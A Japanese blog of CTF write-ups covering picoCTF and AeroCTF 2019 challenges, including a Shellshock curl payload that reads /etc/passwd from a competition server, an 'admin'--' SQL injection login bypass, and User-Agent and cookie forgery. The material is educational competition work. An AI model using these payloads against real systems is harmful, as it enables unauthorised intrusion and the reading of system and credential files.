_I1nSs_i4d_e7,h 1wneg _b7obt9h3 6k0ncoaw} pwihcaotC'TsF {bpe1epn1 nggo_i1nSg_ 4o_n7                             
hW1en gk_n7obw9 3t6h0ec ag}apmiec oaCnTdF {wpe1'pr1en gg_o1nSn_a4 _p7lha1yn gi_t7                               
b                                                                                                               
9A3n6d0 ciaf} pyiocuo CaTsFk{ pm1ep 1hnogw_ 1IS'_m4 _f7ehe1lnign_g7                                             
bD9o3n6'0tc at}eplilc omCeT Fy{opu1'pr1en gt_o1oS _b4l_i7nhd1 ntgo_ 7sbe9e3                                     
6                                                                                                               
0Nceav}epri cgooCnTnFa{ pg1ipv1en gy_o1uS _u4p_                                                                 
7Nhe1vnegr_ 7gbo9n3n6a0 clae}tp iycoouC TdFo{wpn1                                                               
pN1envge_r1 Sg_o4n_n7ah 1rnugn_ 7abr9o3u6n0dc aa}npdi cdoeCsTeFr{tp 1ypo1un                                     
gN_e1vSe_r4 _g7ohn1nnag _m7abk9e3 6y0ocua }cpriyc                                                               
oNCeTvFe{rp 1gpo1nnnga_ 1sSa_y4 _g7oho1dnbgy_e7                                                                 
bN9e3v6e0rc ag}opnincao CtTeFl{lp 1ap 1lnige_ 1aSn_d4 _h7uhr1tn gy_o7ub                                         
9                                                                                                               
3N6e0vcear} pgiocnonCaT Fg{ipv1ep 1ynogu_ 1uSp_                                                                 
4N_e7vhe1rn gg_o7nbn9a3 6l0ecta }ypoiuc odCoTwFn{                                                               
pN1epv1enrg _g1oSn_n4a_ 7rhu1nn ga_r7obu9n3d6 0acnad} pdiecsoeCrTtF {ypo1up                                     
1Nnegv_e1rS _g4o_n7nha1 nmga_k7eb 9y3o6u0 ccar}yp                                                               
iNceovCeTrF {gpo1npn1an gs_a1yS _g4o_o7dhb1yneg                                                                 
_N7ebv9e3r6 0gcoan}npai ctoeClTlF {ap 1lpi1en ga_n1dS _h4u_r7th 1ynogu_                                         
7(bO9o3h6,0 cgai}vpei cyooCuT Fu{pp)1                                                                           
p(1Onogh_,1 Sg_i4v_e7 hy1onug _u7pb)9                                                                           
3N6e0vcear} pgiocnonCaT Fg{ipv1ep,1 nnge_v1eSr_ 4g_o7nhn1an gg_i7vbe9                                           
3(6G0icvae} pyiocuo CuTpF){                                                                                     
pN1epv1enrg _g1oSn_n4a_ 7ghi1vneg,_ 7nbe9v3e6r0 cgao}npniac ogCiTvFe{                                           
p(1Gpi1vneg _y1oSu_ 4u_p7)h                                                                                     
1                                                                                                               
nWge_'7vbe9 3k6n0ocwan} peiaccohC ToFt{hpe1rp 1fnogr_ 1sSo_ 4l_o7nhg1                                           
nYgo_u7rb 9h3e6a0rcta'}sp ibceoeCnT Fa{cph1ipn1gn,g _b1uSt_                                                     
4Y_o7uh'1rneg _t7obo9 3s6h0yc at}op iscaoyC TiFt{                                                               
pI1nps1indge_,1 Sw_e4 _b7oht1hn gk_n7obw9 3w6h0acta'}sp ibceoeCnT Fg{opi1npg1 nogn_                             
1WSe_ 4k_n7ohw1 ntgh_e7 bg9a3m6e0 caan}dp iwceo'CrTeF {gpo1npn1an gp_l1aSy_ 4i_t7                               
h                                                                                                               
1In gj_u7sbt9 3w6a0ncnaa} ptieclolC TyFo{up 1hpo1wn gI_'1mS _f4e_e7lhi1nngg                                     
_G7obt9t3a6 0mcaak}ep iycoouC TuFn{dpe1rps1tnagn_d1                                                             
S                                                                                                               
_N4e_v7ehr1 nggo_n7nba9 3g6i0vcea }ypoiuc ouCpT                                                                 
FN{epv1epr1 nggo_n1nSa_ 4l_e7th 1ynogu_ 7dbo9w3n6                                                               
0Nceav}epri cgooCnTnFa{ pr1upn1 nagr_o1uSn_d4 _a7nhd1 ndge_s7ebr9t3 6y0ocua                                     
}NpeivceorC TgFo{npn1ap 1mnagk_e1 Sy_o4u_ 7chr1yn                                                               
gN_e7vbe9r3 6g0ocnan}ap iscaoyC TgFo{opd1bpy1en                                                                 
gN_e1vSe_r4 _g7ohn1nnag _t7ebl9l3 6a0 clai}ep iacnodC ThFu{rpt1 py1onug                                         
_                                                                                                               
1NSe_v4e_r7 hg1onngn_a7 bg9i3v6e0 cyao}up iucpo                                                                 
CNTeFv{epr1 pg1onngn_a1 Sl_e4t_ 7yho1un gd_o7wbn9                                                               
3N6e0vcear} pgiocnonCaT Fr{upn1 pa1rnogu_n1dS _a4n_d7 hd1ensge_r7tb 9y3o6u0                                     
cNae}vpeirc ogCoTnFn{ap 1mpa1kneg _y1oSu_ 4c_r7yh                                                               
1Nnegv_e7rb 9g3o6n0ncaa }spaiyc ogCoToFd{bpy1ep                                                                 
1Nnegv_e1rS _g4o_n7nha1 ntge_l7lb 9a3 6l0icea }apnidc ohCuTrFt{ py1opu1                                         
n                                                                                                               
gN_e1vSe_r4 _g7ohn1nnag _g7ibv9e3 6y0ocua }uppi                                                                 
cNoeCvTeFr{ pg1opn1nnag _l1eSt_ 4y_o7uh 1dnogw_n7                                                               
bN9e3v6e0rc ag}opnincao CrTuFn{ pa1rpo1unngd_ 1aSn_d4 _d7ehs1enrgt_ 7ybo9u3                                     
6N0ecvae}rp igcoonCnTaF {mpa1kpe1 nygo_u1 Sc_r4y_                                                               
7Nhe1vnegr_ 7gbo9n3n6a0 csaa}yp igcoooCdTbFy{ep                                                                 
1Npe1vnegr_ 1gSo_n4n_a7 ht1enlgl_ 7ab 9l3i6e0 caan}dp ihcuorCtT Fy{opu1                                         
p                                 

問題文とヒントからすると、 stdin, stdout, stderr を使い分ける(出し分ける)と、ちゃんとしたのが出てきそうです。おそらく現在の出力は、混在して出力されていると思われます。

stdoutを出力するには {command} > {output_file}, stderrを出力するには {command} 2> {output _file} なので、両方出力してみます。カレントディレクトリは書き込み禁止なので、 /tmp/tmpkusu ディレクトリに吐くようにしました。

$ ./in-out-error > /tmp/tmpkusu/stdout.txt                                                                                                   
Please may I have the flag?                                                                                     
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF
{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng
_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7
h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b
9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF
{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng
_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7
h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b
9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF
{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng
_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7
h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b
9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF

こっちが正解っぽいですが、念の為errorも。

$ ./in-out-error 2> /tmp/tmpkusu/stdout.txt                                                                                                  
Hey There!                                                                                                      
If you want the flag you have to ask nicely for it.                                                             
Enter the phrase "Please may I have the flag?" into stdin and you shall receive.                                
Please may I have the flag?                                                                                     
Thank you for asking so nicely!                                                                                 
                                                                                                                
We're no strangers to love                                                                                      
You know the rules and so do I                                                                                  
A full commitment's what I'm thinking of                                                                        
You wouldn't get this from any other guy                                                                        
                                                                                                                
I just wanna tell you how I'm feeling                                                                           
Gotta make you understand                                                                                       
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
                                                                                                                
We've known each other for so long                                                                              
Your heart's been aching, but                                                                                   
You're too shy to say it                                                                                        
Inside, we both know what's been going on                                                                       
We know the game and we're gonna play it                                                                        
                                                                                                                
And if you ask me how I'm feeling                                                                               
Don't tell me you're too blind to see                                                                           
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
(Ooh, give you up)                                                                                              
(Ooh, give you up)                                                                                              
Never gonna give, never gonna give                                                                              
(Give you up)                                                                                                   
Never gonna give, never gonna give                                                                              
(Give you up)                                                                                                   
                                                                                                                
We've known each other for so long                                                                              
Your heart's been aching, but                                                                                   
You're too shy to say it                                                                                        
Inside, we both know what's been going on                                                                       
We know the game and we're gonna play it                                                                        
                                                                                                                
I just wanna tell you how I'm feeling                                                                           
Gotta make you understand                                                                                       
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             
                                                                                                                
Never gonna give you up                                                                                         
Never gonna let you down                                                                                        
Never gonna run around and desert you                                                                           
Never gonna make you cry                                                                                        
Never gonna say goodbye                                                                                         
Never gonna tell a lie and hurt you                                                                             

こっちがダミーでしたね。stdoutの方の出力のflagが答えです。

AeroCTF 2019 write-up

ラッキーなことに、自分の時間が少し取れたので、ちょうど開催されていた AeroCTF をやってみました。
CTF timeのイベントスケジュールで発見。説明を読んでみたものの、

Held with the support of Moscow State University of Civil Aviation (MSTUCA).

という情報しかなく、難易度がさっぱりわからない&時間もそれほど取れないので、ちょっと覗いて見るだけ〜のつもりで…。
SECCON系, CODE BULE, 常設CTF 以外では初の参加。メインがロシア語なのにテンション上がりつつ(※読めない)やってみました。

点数は、warmupは一律 最初から100pt, その他は解けた人数によって 500pt から下がっていく仕組み。下限は100ptかな。

途中でWeb問が一つ、0pointに。Task broken, sorry.と表示されていました。早い者勝ちだったのか、不正があったのか、問題が良くなかったのか?問題もなくなっていたので後者2つのどっちかかな。手を付けてなかったので良かった。解けてたらがっかりだろうなー。こういうのも初めてだった!

f:id:kusuwada:20190309175352p:plain

例によって100点代に落ちた簡単めの問題しか解けていませんが、一応write-upを。

[Web] board tracking system

問題

We develop advanced board tracking system, is it vulnerable? Site: http://81.23.11.159:8080/

解答

指定されたサイトに飛んでみます。こんなページが出力。

f:id:kusuwada:20190309175435p:plain

コードを表示してみます。

<html>
    <head>
       <style>
            body, pre {
                color: #7b7b7b;
                font: 300 16px/25px "Roboto",Helvetica,Arial,sans-serif;
            }
        </style>
   <meta name="generator" content="vi2html">
   </head>
    <body>
    </br>
Welcome to control plane application of Aeroctf system.</br>
</br>
</br>
On a dashboard you can see loading our system</br>
    </br>
Stats:
    </br>
    <iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>
    </body>
</html>

おや、下の方のiframeで、他のパスをcallして情報をとってきて表示しているみたいです。 /cgi-bin/stats
こちらにアクセスしてみると、時刻情報が取れます。

Fri Mar 8 17:21:54 UTC 2019 17:21:54 up 93 days, 2:50, 0 users, load average: 0.09, 0.06, 0.01

いろいろ突っつきまわったりcookieを確認したり、index.html 的なものを探しましたが見当たらず。
今回のシステムの特徴は、 cgi-bin/stats というパスにアクセスさせていることくらいかな、と思ったので、その線でググってみました。
すると、過去の違うCTFのwrite-upがHit!

RITSEC Fall 2018 CTF — Week 6 – Wyatt Tauber – Medium

このサイトの説明によると、 cgi-bin ディレクトリは、2014年9月に発見された ShellShock脆弱性の悪用が可能なことで有名らしい。ShellShockが発表されたときって色々大きな脆弱性が見つかって「ひゃー!」ってお祭り騒ぎしてた頃だよね、懐かしい。
以下、このwrite-upより、google翻訳の引用

Shellshockは、攻撃者が特定のブラウザユーザーエージェントでCGIに頼るWebサイトを訪れた際に任意のコードを実行します すべてのShellshockの悪用は、(){:;の変種で始まります。 ;ブラウザのユーザーエージェントに配置される(開発者コンソールまたはサードパーティのアドオンを介してブラウザ内のユーザーエージェントを変更することによる)か、curlやツールなどの別のアプリケーションを介した要求を使用してユーザーエージェントを送信する

ということで、ShellShockはUAに攻撃コードを仕込むことでShellを取ることができるらしい。攻撃コードも載っている。

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" ${target_url}

このコードで、/etc/passwd を表示させることができるみたい。他のコマンドでも有効。
やってみます。

$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://81.23.11.159:8080/cgi-bin/stats

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Aero{c58b51bee681ba3aa3971cef7aa26696}

ん?あれ!まさかの一発目のコマンドでflagが取れた!やった!

[Code] damaged ticket

問題

I left my computer unattended for a while and did not block it. I had a plane ticket on the desktop, someone had damaged it and now I have only small parts of the ticket, as if it had passed through a "shredder". Help me recover the ticket, I have a plane in a couple of hours!

解答

ファイルをDLして解凍すると、600枚ものpng画像が!全部 1×267 の縦長サイズ。
チケットがシュレッダーにかかったみたいになっちゃった!って言ってるので、まぁこれをつなげればチケットが復元できるんでしょう?ということでコードを組んでみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import glob
import pprint
from PIL import Image

def get_concat_h(dst, src, w_index):
    dst.paste(src, (w_index, 0))
    return dst

images = glob.glob("./parts/*")
#images.sort()
pprint.pprint(images)

images_base = Image.open(images[0])
new_img = Image.new('RGB', (images_base.width * len(images), images_base.height))
for i in range(len(images)):
    next_img = Image.open(images[i])
    new_img = get_concat_h(new_img, next_img, images_base.width * i)
new_img.show()

実行結果

$ python wrong.py 
['./parts/3c7781a36bcd6cf08c11a970fbe0e2a6.png',
 './parts/ad13a2a07ca4b7642959dc0c4c740ab6.png',
 './parts/3ef815416f775098fe977004015c6193.png',
 './parts/1385974ed5904a438616ff7bdb3f7439.png',
略

f:id:kusuwada:20190309175505p:plain

うーん、ぐちゃぐちゃ。そうだよね、どういう順番でつなげるか適当だったもんね。
ということで、上のコードでコメントアウトしていた images.sort を有効にして再度実施。ファイル名順でどうだ!

$ python wrong.py 
['./parts/00411460f7c92d2124a67ea0f4cb5f85.png',
 './parts/006f52e9102a8d3be2fe5614f42ba989.png',
 './parts/00ec53c4682d36f5c4359f4ae7bd7ba1.png',
 './parts/01161aaa0b6d1345dd8fe4e481144d84.png',
略

f:id:kusuwada:20190309175523p:plain

うーんぐちゃぐちゃその2。
順番はどうやって決めるの?画像解析して隣に来そうなやつを・・・なんて賢いことやってる時間はなさそうだし…。
ここでお風呂に入る。-> 閃く。
ファイル名が16進の範囲の文字列であること、全て32文字であることから、連番のhash何じゃないかと当たりをつける。
hashアルゴリズムはわからないので、32桁のハッシュが生成されるアルゴリズムを片っ端から試してみることに。

$ MD5 -s 1
MD5 ("1") = c4ca4238a0b923820dcc509a6f75849b
$ find parts/* | grep c4ca4238a0b923820dcc509a6f75849b
parts/c4ca4238a0b923820dcc509a6f75849b.png

おや!1のmd5 hashの値がいる!ほか、2,0 を試してみたけどいました!!ということで、0からの連番のmd5 hashがファイル名になっているようです!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import glob
import hashlib
from PIL import Image

def get_concat_h(dst, src, w_index):
    dst.paste(src, (w_index, 0))
    return dst

images = glob.glob("./parts/*")

images_base = Image.open(images[0])
new_img = Image.new('RGB', (images_base.width * len(images), images_base.height))
for i in range(len(images)):
    filename = './parts/' + hashlib.md5(str(i).encode('utf-8')).hexdigest() + '.png'
    next_img = Image.open(filename)
    new_img = get_concat_h(new_img, next_img, images_base.width * i)
new_img.show()

実行結果

f:id:kusuwada:20190309175602p:plain

[Warmup] crypto_warmup 100pt

問題

Again, these memes, we have even stopped talking to them. Just look at it, they seem to be crazy.

解答

DLしたencryptedファイルはこちら。

kappa_pride pepe kappa 
look_at_this_dude kappa trollface 
look_at_this_dude kappa_pride look_at_this_dude 
look_at_this_dude kappa_pride trollface 
look_at_this_dude look_at_this_dude pepe 
kappa_pride trollface kappa 
pepe look_at_this_dude kappa_pride 
kappa_pride trollface kappa_pride 
trollface look_at_this_dude look_at_this_dude 
trollface look_at_this_dude look_at_this_dude 
pepe look_at_this_dude look_at_this_dude 
pepe look_at_this_dude look_at_this_dude 
look_at_this_dude kappa kappa_pride 
pepe look_at_this_dude pepe 
trollface look_at_this_dude look_at_this_dude 
kappa_pride trollface trollface 
pepe look_at_this_dude look_at_this_dude 
kappa_pride kappa kappa 
look_at_this_dude kappa kappa_pride 
pepe look_at_this_dude kappa_pride 
look_at_this_dude kappa kappa_pride 
look_at_this_dude kappa trollface 
kappa_pride kappa kappa 
kappa_pride trollface kappa_pride 
kappa_pride kappa look_at_this_dude 
trollface look_at_this_dude pepe 
pepe look_at_this_dude pepe 
kappa_pride kappa look_at_this_dude 
look_at_this_dude kappa trollface 
look_at_this_dude kappa trollface 
kappa_pride kappa kappa 
pepe look_at_this_dude look_at_this_dude 
pepe look_at_this_dude pepe 
pepe look_at_this_dude look_at_this_dude 
kappa_pride trollface kappa_pride 
pepe look_at_this_dude look_at_this_dude 
kappa_pride trollface kappa 
trollface kappa kappa kappa 

もうキャーですね。わけわかりません。
最初モールス信号か?と思って試してみたけどなんか違いそう。
構成は、下記の5つの単語のみのようです。

kappa_pride, pepe. kappa, look_at_this_dude, trollface
そして、すべての行は3語、最後の行だけ4語になっています。

もしこの文字列が、一行一文字かつFlagを示していると仮定すると、最初の行が A で、最後の行が } になって欲しい。
さらに、文字列の種類が5つしか無いので、5進数なのでは?とあたりをつけます。
A0x41 => 230(5進), }0x7d => 1000(5進)
おっ、最後の行が特に、4桁になっている、かつ最後の3文字が一緒なので、仮説は正しそう!!!
対応表は下記になります。

0: kappa
1: trollface
2: kappa_pride
3: pepe
4: look_at_this_dude

これらの値で暗号文を置換し、整形するとこうなります。

230 401 424 421 443 210 342 212 144 144 344 344 402 343 144 211 344 200 402 342 402 401 200 212 204 143 343 204 401 401 200 344 343 344 212 344 210 1000

あとはこの5進数をasciiにしていくだけ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

quinary_str = "230 401 424 421 443 210 342 212 144 144 344 344 402 343 144 211 344 200 402 342 402 401 200 212 204 143 343 204 401 401 200 344 343 344 212 344 210 1000"

def Base_n_to_10(X,n):
    out = 0
    for i in range(1,len(str(X))+1):
        out += int(X[-i])*(n**(i-1))
    return out

quinary_list = quinary_str.split()
flag_arr = []
for q in quinary_list:
    flag_arr.append(chr(Base_n_to_10(q, 5)))

print(''.join(flag_arr))

実行結果

$ python quinary.py 
Aero{7a911ccfb18c2fafe2960b6ee2cbc9c7}

[Warmup] pwn_warmup 100pt

問題

Now they have made a server with memes, it has authorization. See if you can get around it.

Server: 185.66.87.233 5004

解答

落としてきたファイルはこちら。

$ file meme_server 
meme_server: ELF 32-bit LSB shared object Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f3fa03bdd74f3fbd76afde7a64db44ffcc3f2dd3, not stripped

実行ファイルのようです。stringsコマンドで、何となくどんな事が書いてあるか覗いてみます。以下、抜粋のみ。

$ strings meme_server 
Memes server
Enter the password: 
[-] Auth error!
meme.txt
File not found!
here is your meme: %s
password.txt
frame_dummy
main.c
strcmp@@GLIBC_2.0
read@@GLIBC_2.0
malloc@@GLIBC_2.0

mallocしてるのが気になります。

深く考えずに、次は指定されたサイトにつなぎに行きます。
なんかパスワード入れろと言われるので、適当に入れます。さっきのコードの断片から、BufferOverflowの可能性がありそうだったので、ちょいと眺めの入力をしてやります。

$ nc 185.66.87.233 5004
Memes server
Enter the password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
here is your meme: Aero{bf95912df616a3bbfe9a5872674d766b}

あれ!出た!ラッキー!

感想

  • お風呂は閃きがち。
  • Crypto問題なんかいけそうな気がしたんだけど、よく考えたら問題文の意味がわかってなかった気がする。
  • Reversingは結局今回も手が出せなかったなぁ…。
  • 妊婦、すぐ眠くなりがち。トイレ行きたくなりがち。

競技離脱直後は、こんな順位と点数だったのですが

f:id:kusuwada:20190309175637p:plain

最終的にはここまで落ちました。これはこれでつらいʅ(´-ω-`)ʃ 

f:id:kusuwada:20190309180440p:plain

450pt、81位でした。
楽しかった〜!٩(๑❛ᴗ❛๑)۶ よく知らないCTFだったけど、意外と楽しめました。
これを機にちょっと時間があるときはトライしてみようかな。

picoCTF2018 200pt問題のwrite-up

picoCTF 2018 の write-up 200点問題編。150点問題まではこちら。

kusuwada.hatenablog.com

200pt問題、ReversingとBinary以外の問題はサクサクとすすめてすぐ終わったのだけど、ReversingとBinaryでむちゃくちゃ時間かかった。早く次に進みたい一心でやったので、雰囲気で解けてしまったものはそのままにしていたりします。
かかった時間にすると、Rev/Bin以外:10~30分/1問 に対し、 Rev/Bin:3~6時間/1問…。もうRev/Binは 1000点 でも良いくらいだよほんと。
Rev/Binはまず、環境・ツールを整えたりする必要がありそう。今回 be-quick-or-be-dead-1 が解けなかったので、素のMacで戦い抜くのは諦めて Kali Linux をついに導入しました。便利なツールが予め入っていて良さそう。おかげでもう少しRev/Binと付き合っていけそうと思えるくらいになりました。
結果的に be-quick-or-be-dead-1 もpicoCTF の shell server 上で解けたんですけども。いいきっかけになりました。

200ptまでを終えると、スコアは6560pt。2000番台になりました。

f:id:kusuwada:20190304035326p:plain

[Web] Irish Name Repo (200pt)

There is a website running at http://2018shell.picoctf.com:11899 (link). Do you think you can log us in? Try to see if you can login!

指定のリンクに飛ぶとこんなサイトが。俳優さんとか女優さんなんですかね?疎いのでわかりません…。

f:id:kusuwada:20190304034125p:plain

左のメニューから Admin Login を選択すると、login画面に。

f:id:kusuwada:20190304034220p:plain

Web問題のログインなんで、まずは何も考えずに Username に admin'-- と入れてみると通った。

f:id:kusuwada:20190304034235p:plain

SQL injection の初歩的なやつ。

[Web] Mr. Robots (200pt)

Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell.picoctf.com:29568 (link)

うーん、ソースコードにもcssにもflagっぽいものはない。
こういう時はタイトルを調べてみよう、ということで robot web とかで調べてみると、robot.txt の存在が。

robots.txtとは検索エンジンクローラー(ロボット)のWEBページのへのアクセスを制限するためのファイルで、ロボットに向けた命令文(アクセスを許可/許可しない)を記述します。

ということで、これっぽい!
早速 url/robots.txt にアクセスすると、書いてありました!クローラーじゃないので、私はアクセスできるはず。

User-agent: *
Disallow: /74efc.html

url/74efc.html にアクセスしてみると、出てきました!

f:id:kusuwada:20190304034336p:plain

[Web] No Login (200pt)

Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell.picoctf.com:10573 (link)

adminでloginするとflagが取れるっぽい。サイトはこちら。超あやしいFlagボタンを押してみるとadminじゃないとだめよとメッセージが。

f:id:kusuwada:20190304034455p:plain

じゃあサインインしようと Sign In ボタンを押すと、未実装らしい。

f:id:kusuwada:20190304034508p:plain

うーん、わからなかったのでHintを見ると、Cookieが関係ありそう。予めセットされているCookieを見てもピンとこないし、Flagボタンを押すと設定(チェック?)されるCookie ("session") もValueがHash化されているっぽくて中身がわからない。
cookie, admin という共通点だけですが、当てずっぽで前のLogonの問題で使っていた Name=session, Value=TRUE をセットしてFlagボタンを押してみると、なんと出てきた。

f:id:kusuwada:20190304034532p:plain

[Web] Secret Agent (200pt)

Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell.picoctf.com:3827 (link)

No Loginと同じ見た目のサイト。Flagボタンを押すと、

f:id:kusuwada:20190304034605p:plain

ということは、UserAgentをgoogleに偽装すれば良さそう。ということで、Chrome開発者ツールでやってみます。
開発者ツールを開く > 一番右の3点プルダウンメニューから Moer tools > Network conditions
ここでUserAgentをCustomでも選択でも変更できます。今回は選択肢に Googlebot がいたので、試しにこれを使いました。
Googlebot に UserAgentを変更して、再度 Flag ボタンを押すと、Flagが出ました!

f:id:kusuwada:20190304034642p:plain

[Forensics] Truly an Artist (200pt)

Can you help us find the flag in this Meta-Material? You can also find the file in /problems/truly-an-artist_1_59a330544b5c06946dfb0617b1c13330.

Meta-Material のリンクから落としてきたファイルは、PNG画像ファイルでした

f:id:kusuwada:20190304034712p:plain

$ file 2018.png 
2018.png: PNG image data, 1200 x 630, 8-bit/color RGB, non-interlaced

この中からFlagを探す問題。
まずは strings コマンド、と思ったら一発で出てきた。

$ strings 2018.png 
IHDR
IDATx
(~~ 中略 ~~)
&tEXtArtist
picoCTF{look_in_image_9f5be995}
IEND

[Reversing] assembly-1 (200pt)

What does asm1(0xc8) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_4_99ac7ff5dfe75417ed616e35bfc2c023.

DLしたsourceはこちら。これに 0xc8 を入力するとどうなる?という問題。

.intel_syntax noprefix
.bits 32
    
.global asm1

asm1:
    push    ebp
    mov ebp,esp
    cmp DWORD PTR [ebp+0x8],0x9a
    jg  part_a  
    cmp DWORD PTR [ebp+0x8],0x8
    jne part_b
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
    jmp part_d
part_a:
    cmp DWORD PTR [ebp+0x8],0x2c
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_b:
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
    cmp DWORD PTR [ebp+0x8],0xc8
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_c:
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
part_d:
    pop ebp
    ret

もう長いので、実際に実行してしまうのが早そう。
が、環境を準備するのも手間だし、修行がてら読んでみた。

asm1:
    push    ebp                   # base pointer を stackの一番上に
    mov ebp,esp                   # stack pointer を ebp に追従
    cmp DWORD PTR [ebp+0x8],0x9a  # 入力値(0xc8)と 0x9a を比較
    jg  part_a                    # cmpの結果1つ目の値のほうが大きいので、part_aに分岐
    cmp DWORD PTR [ebp+0x8],0x8
    jne part_b
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
    jmp part_d
part_a:
    cmp DWORD PTR [ebp+0x8],0x2c  # 0xc8と0x2cを比較
    jne part_c                    # cmpの結果、一致しないのでpart_cへ分岐
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_b:
